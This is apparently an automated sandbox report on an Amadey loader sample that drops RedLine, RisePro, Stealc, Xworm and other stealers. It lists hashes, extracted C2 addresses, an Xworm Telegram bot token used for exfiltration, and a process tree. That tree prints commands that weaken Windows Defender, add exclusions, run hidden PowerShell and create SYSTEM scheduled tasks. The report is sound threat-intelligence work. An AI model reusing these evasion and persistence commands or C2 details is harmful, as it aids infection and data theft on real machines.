amadey | 37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3

Analysis

max time kernel
128s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
13/05/2024, 23:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe
Size

1.5MB
MD5

a155de8690462c0959f2ea4909d882a5
SHA1

fdb6464008104acb947d0796f4f39194fd7caa5b
SHA256

37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3
SHA512

3506261ec12974f0fa0b4d4454f351329c9b740d438ab37c5f5eac8ea7738b69afb6c8a994ee638cd714e3aa9f8900831e38c68ee0bd7ac62ba716ebd2e4499e
SSDEEP

24576:xKE/S7xqKnUjVto5Naoqc0sCxYBF87pDjpi9WPpQ45OpY/uMWT7/gV0we:oE/S7xFUJyhqVsZGds9WJ5OK//W/YVZe

Score

10^/10

amadey redline risepro stealc xworm zgrat 1 @cloudytteam evasion execution infostealer persistence rat stealer themida trojan

Malware Config

Extracted

Family

amadey

Version

4.20

http://5.42.96.141

http://5.42.96.7

Attributes

install_dir
908f070dff
install_file
explorku.exe
strings_key
b25a9385246248a95c600f9a061438e1
url_paths
/go34ko8/index.php

rc4.plain

Extracted

Family

risepro

147.45.47.126:58709

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

185.172.128.33:8970

Extracted

Family

redline

Botnet

185.215.113.67:26260

Extracted

Family

stealc

http://49.13.229.86

Attributes

url_path
/c73eed764cc59dcb.php

Extracted

Family

xworm

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes

Install_directory
%ProgramData%
install_file
taskmgr.exe
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000023486-487.dat	family_xworm
behavioral1/memory/5436-499-0x0000000000400000-0x0000000000438000-memory.dmp	family_xworm

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/memory/2076-106-0x0000000000400000-0x0000000000592000-memory.dmp	family_zgrat_v1
behavioral1/files/0x0007000000023454-145.dat	family_zgrat_v1
behavioral1/memory/2452-146-0x00000000001E0000-0x00000000002A0000-memory.dmp	family_zgrat_v1

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

resource	yara_rule
behavioral1/files/0x0007000000023453-134.dat	family_redline
behavioral1/files/0x0007000000023454-145.dat	family_redline
behavioral1/memory/1808-138-0x0000000000E20000-0x0000000000E72000-memory.dmp	family_redline
behavioral1/memory/2452-146-0x00000000001E0000-0x00000000002A0000-memory.dmp	family_redline
behavioral1/files/0x000900000002344d-173.dat	family_redline
behavioral1/memory/2040-191-0x0000000000840000-0x0000000000892000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5420	powershell.EXE
8292	powershell.exe
6008	powershell.exe
6456	powershell.exe
5996	powershell.exe
6904	powershell.exe
5340	powershell.exe
6124	powershell.exe
3832	powershell.exe
6320	powershell.exe
6548	powershell.exe
1720	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe

Themida packer 39 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/724-3-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-0-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-2-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-1-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-5-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-6-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-4-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/724-7-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/files/0x0007000000023443-13.dat	themida
behavioral1/memory/724-20-0x00000000004A0000-0x000000000098A000-memory.dmp	themida
behavioral1/memory/4988-24-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-27-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-28-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-25-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-22-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-23-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-21-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-26-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4988-31-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/files/0x00040000000229e1-67.dat	themida
behavioral1/memory/4988-81-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4232-82-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-91-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-94-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-92-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-98-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-97-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-95-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-96-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4232-93-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/memory/4988-218-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/4232-397-0x00000000008F0000-0x0000000000F66000-memory.dmp	themida
behavioral1/files/0x000700000002349d-617.dat	themida
behavioral1/memory/1744-624-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/1744-646-0x0000000140000000-0x0000000140A55000-memory.dmp	themida
behavioral1/memory/5924-665-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/5924-685-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/6980-8188-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida
behavioral1/memory/6980-8176-0x00000000004F0000-0x00000000009DA000-memory.dmp	themida

Unexpected DNS network traffic destination 6 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	52.208.22.58
Destination IP	52.208.22.58
Destination IP	52.208.22.58
Destination IP	52.208.22.58
Destination IP	52.208.22.58
Destination IP	52.208.22.58

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
66	pastebin.com
67	pastebin.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explorku.job	37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe

Launches sc.exe 26 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3328	sc.exe
5716	sc.exe
6184	sc.exe
5108	sc.exe
10964	sc.exe
2708	sc.exe
6692	sc.exe
2700	sc.exe
2876	sc.exe
8380	sc.exe
3536	sc.exe
10892	sc.exe
4976	sc.exe
316	sc.exe
772	sc.exe
4092	sc.exe
7792	sc.exe
7968	sc.exe
5936	sc.exe
3160	sc.exe
7848	sc.exe
1720	sc.exe
2632	sc.exe
6628	sc.exe
2476	sc.exe
7704	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4624	1160	WerFault.exe	98

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
9268	schtasks.exe
968	schtasks.exe
5520	schtasks.exe
5560	schtasks.exe
8924	schtasks.exe
8896	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe
"C:\Users\Admin\AppData\Local\Temp\37fb55f397be5ae4ca8bece8981dc60393934e76337cefa61f2bba2bbaa670f3.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
PID:724
- C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
  "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
  2⤵
  PID:4988
- - C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
    "C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"
    3⤵
    PID:5012
- - C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe
    "C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"
    3⤵
    PID:2556
  - - C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
      "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
      4⤵
      PID:3172
    - - C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
        5⤵
        
        PID:1160
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:2076
        
        C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
        7⤵
        
        PID:2452
        
        C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
        
        "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
        7⤵
        
        PID:1808
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
        7⤵
        
        PID:10216
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /C Y /N /D Y /T 3
        8⤵
        
        PID:696
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1160 -s 336
        6⤵
        Program crash
        
        PID:4624
    - - C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
        5⤵
        
        PID:2632
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:584
    - - C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
        5⤵
        
        PID:2040
    - - C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
        5⤵
        
        PID:3532
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
        6⤵
        
        PID:1984
        
        C:\Windows\SysWOW64\sc.exe
        
        Sc stop GameServerClient
        7⤵
        Launches sc.exe
        
        PID:4976
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameServerClient confirm
        7⤵
        
        PID:3472
        
        C:\Windows\SysWOW64\sc.exe
        
        Sc delete GameSyncLink
        7⤵
        Launches sc.exe
        
        PID:2632
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameSyncLink confirm
        7⤵
        
        PID:1700
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
        7⤵
        
        PID:3764
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService start GameSyncLink
        7⤵
        
        PID:3320
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
        6⤵
        
        PID:3572
        
        C:\Windows\SysWOW64\sc.exe
        
        Sc stop GameServerClientC
        7⤵
        Launches sc.exe
        
        PID:3160
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameServerClientC confirm
        7⤵
        
        PID:664
        
        C:\Windows\SysWOW64\sc.exe
        
        Sc delete PiercingNetLink
        7⤵
        Launches sc.exe
        
        PID:316
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove PiercingNetLink confirm
        7⤵
        
        PID:1896
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
        7⤵
        
        PID:3712
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService start PiercingNetLink
        7⤵
        
        PID:2820
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
        6⤵
        
        PID:2708
        
        C:\Windows\SysWOW64\sc.exe
        
        Sc delete GameSyncLinks
        7⤵
        Launches sc.exe
        
        PID:3328
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService remove GameSyncLinks confirm
        7⤵
        
        PID:2216
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
        7⤵
        
        PID:3168
        
        C:\Program Files (x86)\GameSyncLink\GameService.exe
        
        GameService start GameSyncLinks
        7⤵
        
        PID:3580
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
        6⤵
        
        PID:5172
    - - C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"
        5⤵
        
        PID:860
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1744
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:3060
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:368
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:3336
    - - C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
        5⤵
        
        PID:1468
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1800
    - - C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"
        5⤵
        
        PID:4176
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
        6⤵
        
        PID:2100
        
        C:\Users\Admin\Pictures\lv5SqPzmnrc918BUOgkYGY5Y.exe
        
        "C:\Users\Admin\Pictures\lv5SqPzmnrc918BUOgkYGY5Y.exe"
        7⤵
        
        PID:5544
        
        C:\Users\Admin\Pictures\5kSZWULYY2oHUiEyR2vVg0Su.exe
        
        "C:\Users\Admin\Pictures\5kSZWULYY2oHUiEyR2vVg0Su.exe" /s
        7⤵
        
        PID:5600
        
        C:\Users\Admin\Pictures\360TS_Setup.exe
        
        "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Declan.CPI202403 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s
        8⤵
        
        PID:428
        
        C:\Program Files (x86)\1715642224_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1715642224_0\360TS_Setup.exe" /c:WW.Declan.CPI202403 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s /TSinstall
        9⤵
        
        PID:5468
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
        10⤵
        
        PID:8080
        
        C:\Windows\system32\regsvr32.exe
        
        /s "C:\Program Files (x86)\360\Total Security\MenuEx64.dll"
        11⤵
        
        PID:8528
        
        C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe
        
        "C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe" /flightsigning
        10⤵
        
        PID:5416
        
        C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe
        
        "C:\Program Files (x86)\360\Total Security\safemon\WscReg.exe" /installsrv
        10⤵
        
        PID:1276
        
        C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe
        
        "C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe" /install
        10⤵
        
        PID:8364
        
        C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe
        
        "C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe"
        10⤵
        
        PID:1048
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe authroots.sst
        11⤵
        
        PID:10868
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe updroots.sst
        11⤵
        
        PID:10836
        
        C:\Users\Admin\Pictures\BPA5fcDbOU8tFtywTrzyZcXt.exe
        
        "C:\Users\Admin\Pictures\BPA5fcDbOU8tFtywTrzyZcXt.exe"
        7⤵
        
        PID:5660
        
        C:\Users\Admin\Pictures\I9T7TjEY7UGVZAhjBbfy8oE5.exe
        
        "C:\Users\Admin\Pictures\I9T7TjEY7UGVZAhjBbfy8oE5.exe"
        7⤵
        
        PID:5748
        
        C:\Users\Admin\Pictures\MMlErodh4TgysUB1XbL6ctSa.exe
        
        "C:\Users\Admin\Pictures\MMlErodh4TgysUB1XbL6ctSa.exe"
        7⤵
        
        PID:5864
        
        C:\Users\Admin\Pictures\o5B0IlLZFYM6VfFYEoxGKOVv.exe
        
        "C:\Users\Admin\Pictures\o5B0IlLZFYM6VfFYEoxGKOVv.exe"
        7⤵
        
        PID:1744
        
        C:\Users\Admin\Pictures\UeHuvzx1B299vhSr8jvAByQ1.exe
        
        "C:\Users\Admin\Pictures\UeHuvzx1B299vhSr8jvAByQ1.exe"
        7⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe
        
        .\Install.exe /tEdidDDf "385118" /S
        8⤵
        
        PID:1160
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:5368
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:4352
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:5796
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:556
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:2024
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:5424
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:5856
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:6876
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:6540
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:6544
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:6924
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:1120
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:5760
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:6788
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5996
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:2920
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:4624
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6008
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        
        PID:3764
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 23:18:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe\" it /QKDdidpiqZ 385118 /S" /V1 /F
        9⤵
        Creates scheduled task(s)
        
        PID:5520
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        9⤵
        
        PID:5132
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        10⤵
        
        PID:6064
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        11⤵
        
        PID:6492
        
        C:\Users\Admin\Pictures\3BgxUFtAxgcCRNTdqtwEaoKO.exe
        
        "C:\Users\Admin\Pictures\3BgxUFtAxgcCRNTdqtwEaoKO.exe"
        7⤵
        
        PID:5532
        
        C:\Users\Admin\AppData\Local\Temp\7zS2798.tmp\Install.exe
        
        .\Install.exe /tEdidDDf "385118" /S
        8⤵
        
        PID:5588
        
        C:\Windows\SysWOW64\cmd.exe
        
